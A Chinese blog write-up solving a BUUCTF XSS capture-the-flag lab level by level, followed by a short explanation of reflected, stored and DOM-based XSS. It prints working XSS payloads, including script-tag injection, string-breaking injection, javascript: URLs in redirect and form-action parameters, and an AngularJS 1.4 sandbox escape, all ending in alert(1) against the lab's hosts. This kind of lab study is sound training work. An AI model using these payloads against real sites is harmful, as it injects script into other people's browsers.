BUUCTF--[第二章 web进阶]XSS闯关

这次的主要内容是来自BUUCTF上的XSS闯关(附靶场链接:https://buuoj.cn/

一、解题思路

首先我们启动靶机进入靶场链接,优先查看使用说明。

这个靶场属于闯关模式,只有通过所有关卡最终才能拿到flag。

1.第一关

看到这个url,二话不说直接<script>alert(1)</script>,直接成功了。

http://ecf8eab1-d6c6-4579-bf2e-bc87be7d4199.node5.buuoj.cn:81/level1?username=<script>alert(1)</script>

2.第二关

到了第二关,还是先使用第一关的套路,但是页面上并没有回显,所以我选择查看源代码。

我发现源码中存在一个js代码编写的过滤代码,username被函数escape进行url编码

 <script type="text/javascript"> if(location.search == ""){ location.search = "?username=xss" //若是没有查询参数,就恢复默认值 } var username = 'xss'; //声明了一个变量username,并且把查询参数赋值给它(若是存在查询参数) document.getElementById('ccc').innerHTML= "Welcome " + escape(username); </script> 

所以我们在这里只需要绕过赋值的代码

var username = 'xss'; 

使用 '; 闭合前边的 ' 让这个语句结束,再加上alert(1);,并且在后边使用 ' 闭合后边的单引号

http://ecf8eab1-d6c6-4579-bf2e-bc87be7d4199.node5.buuoj.cn:81/level2?username=';alert(1);'

3.第三关

上来还是优先老套路,发现页面上还是没有任何回显,看源代码也是没有任何发现。

所以试试上关使用的方法,在页面上依旧没有任何回显,但是在源代码发现输入的查询参数中多了一个 / 和 ' 。

那我们需要想办法绕过这个,所以我们再第二关的方法上进行改造绕过,如下:

'';alert(1);'
http://ecf8eab1-d6c6-4579-bf2e-bc87be7d4199.node5.buuoj.cn:81/level3?username='';alert(1);'

4.第四关​

进入第四关之后我们发现当前页面一直在死循环,所以只能查看源代码

分析如下js代码(代码后有注释)

<script type="text/javascript"> var time = 10; //倒计时初始值 var jumpUrl; //存储跳转目标url if(getQueryVariable('jumpUrl') == false){ jumpUrl = location.href; //没有查询参数的时候跳转本页 }else{ jumpUrl = getQueryVariable('jumpUrl'); //调用查询参数 } setTimeout(jump,1000,time); //1秒后启动倒计时 function jump(time){ if(time == 0){ location.href = jumpUrl; //倒计时结束跳转 }else{ time = time - 1 ; //秒数递减1 document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`; //更新提示 setTimeout(jump,1000,time); //递归调用 } } function getQueryVariable(variable) { var query = window.location.search.substring(1); //获取查询参数 var vars = query.split("&"); //分割成键值对数组 for (var i=0;i<vars.length;i++) { var pair = vars[i].split("="); //分割键值 if(pair[0] == variable) { return pair[1];} //返回匹配值 } return(false); //没有找到查询参数就返回false } </script>

根据分析我们得知,代码中使用jumpUrl作为跳转目标url,所以我们可以使用javascript伪链接

浏览器就会在当前页面把javascript后边的内容直接当作代码执行。

jumpUrl=javascript:alert(1) 
http://a0c035b8-3968-49d7-8927-7a019a39a9b2.node5.buuoj.cn:81/level4?jumpUrl=javascript:alert(1)

5.第五关

进入第五关之后,我们发现页面中只存在一个查询表单,无论我们输入什么都会有报错的回显

我们直接查看源代码

分析如下js代码(后边附注释)

<script type="text/javascript"> if(getQueryVariable('autosubmit') !== false){ var autoForm = document.getElementById('autoForm'); autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action'); //动态设置表单目标地址 autoForm.submit(); //触发表单提交 }else{ } function getQueryVariable(variable) //下边的代码跟上一关的下半部分一样 { var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i<vars.length;i++) { var pair = vars[i].split("="); if(pair[0] == variable){return pair[1];} } return(false); } </script>

查看源代码之后,我们发现代码中定义了两个变量,所以我们直需要绕过这两个变量即可

url如下

http://a0c035b8-3968-49d7-8927-7a019a39a9b2.node5.buuoj.cn:81/level5?autosubmit=1&action=JavaScript:alert(1);//

6.第六关

进入第六关之后我优先尝试了一下老套路,发现输入的参数被直接打印在页面上

所以我直接查看源代码

发现如下js代码

 <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>

我点开这个网址发现页面上是一长串代码

这时候需要特别注意url,我也是后边才了解的知识

这里的话存在XSS模板注入(AngularJS客户端模板注入-Angular JS沙箱逃逸)

我们首先可以使用{{7*7}}payload验证是否存在,如下,页面直接打印出7*7的结果,所以是存在XSS漏洞的


Angular(版本号v1.4.0-v1.4.9)沙箱逃逸,payload如下

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

7.第七关

直接拿到flag

二、XSS漏洞介绍

1.XSS简介

跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆 故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的Script 代码会被执行,从而达到恶意攻击用户的目的。

2.XSS分类

(1)反射型XSS

攻击方式:攻击者通过钓鱼链接等方式诱导用户点击恶意url,当目标用户点击该url时,向对应的服务器发送请求,然后服务器将带有恶意代码的数据发送给目标用户的浏览器,浏览器解析服务器返回的代码,此前攻击者注入的恶意代码就会执行。

(2)存储型XSS

攻击方式:攻击者在发帖的过程中,将恶意代码连同正常信息一起注入帖子的内容中。攻击者发布的帖子会被服务器存储下来,恶意代码也永久的被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

(3)DOM型XSS

攻击方式:攻击者诱导用户点击恶意链接url:xxxxxxxxx.com/?xxx=<script>恶意代码</script>,然后客户端执行相关攻击代码,发送相关信息or相关操作。



DOM型与服务器没有关系,不需要与服务器进行交互,攻击纯粹发生在客户端。

Read more

M2LOrder WebUI定制开发:嵌入企业微信/钉钉机器人实现情感告警推送

M2LOrder WebUI定制开发:嵌入企业微信/钉钉机器人实现情感告警推送 1. 项目概述与需求背景 M2LOrder是一个基于.opt模型文件的情绪识别与情感分析服务,提供HTTP API和WebUI两种访问方式。在实际企业应用中,单纯的情感分析结果展示往往不够,我们需要将分析结果实时推送到日常办公平台,让团队第一时间获取重要情感反馈。 本文将介绍如何在M2LOrder WebUI基础上进行定制开发,集成企业微信和钉钉机器人,实现情感告警自动推送功能。当系统检测到强烈负面情绪或特定情感模式时,能够立即通过机器人通知相关人员,便于快速响应和处理。 核心价值: * 实时情感监控:7×24小时不间断情感分析 * 智能告警推送:基于阈值触发自动通知 * 多平台支持:同时兼容企业微信和钉钉 * 无缝集成:在原有WebUI基础上增强功能 2. 环境准备与基础配置 2.1 系统环境确认 首先确认M2LOrder服务正常运行: # 进入项目目录 cd /root/m2lorder # 检查服务状态 supervisorctl -c supervisor/superv

stable-diffusion-webui【笔记】

stable-diffusion-webui * 二、模型推荐 * 1.Nova Anime XL 【二次元】 * 1.1 绘画效果 * 1.2 绘画效果 * 一、文件夹介绍 * 1.文件夹详细解释 缺少的数据可以留言我会及时补齐 缺少的数据可以留言我会及时补齐 缺少的数据可以留言我会及时补齐 二、模型推荐 1.Nova Anime XL 【二次元】 链接: Nova Anime XL - IL v15.0 | Illustrious Checkpoint | Civitai 模型类型:Checkpoint (大模型/底模) 它是一个主模型,不是 Lora,不需要挂载在别的模型上,而是直接选它来画图。 核心架构:SDXL

前端小案例——网页井字棋

前端小案例——网页井字棋

前言:我们在学习完了HTML、CSS和JavaScript之后,就会想着使用这三个东西去做一些小案例,不过又没有什么好的案例让我们去练手,本篇文章就提供里一个案例——网页井字棋。 ✨✨✨这里是秋刀鱼不做梦的BLOG ✨✨✨想要了解更多内容可以访问我的主页秋刀鱼不做梦-ZEEKLOG博客 目录 写在前面         ——该案例的全部代码已经放在文章末尾,有兴趣的读者可以到最后将全部代码复制到自己的编译器上运行,感受一下井字棋案例的最终效果!!! ——首先先让我们了解一下我们需要了解的前置知识: 1.HTML骨架 2.CSS装饰 1. 引入字体和全局样式 2.设置 body 样式 3 设置 .wrapper 样式 4.设置 .current-status 和其中的元素样式  5.设置 board 和 .cell 样式 6.鼠标悬浮时的图片效果 7.设置 game-end-overlay 样式 8 设置 .winning-message 样式 9.

Flutter 三方库 tflite_web 端云协同 AI 引擎鸿蒙化高配适配:搭建异构计算 WebGL 后台管线并强力驱动 TensorFlow Lite-适配鸿蒙 HarmonyOS ohos

Flutter 三方库 tflite_web 端云协同 AI 引擎鸿蒙化高配适配:搭建异构计算 WebGL 后台管线并强力驱动 TensorFlow Lite-适配鸿蒙 HarmonyOS ohos

欢迎加入开源鸿蒙跨平台社区:https://openharmonycrossplatform.ZEEKLOG.net Flutter 三方库 tflite_web 端云协同 AI 引擎鸿蒙化高配适配:搭建异构计算 WebGL 后台管线并强力驱动 TensorFlow Lite 轻量大模型推理内核运转 前言 在 OpenHarmony 构建混合架构(Hybrid App)的过程中,将 AI 能力直接下沉到客户端侧执行已成为主流趋势。虽然鸿蒙原生提供了强大的 AI 框架,但对于已有大量积累、且运行在 Flutter Web 容器中的应用而言,寻找一致性的端侧 AI 推理方案至关重要。tflite_web 库为基于 Flutter Web 的应用提供了调用 TensorFlow Lite 模型的能力。本文将调研其在鸿蒙 Web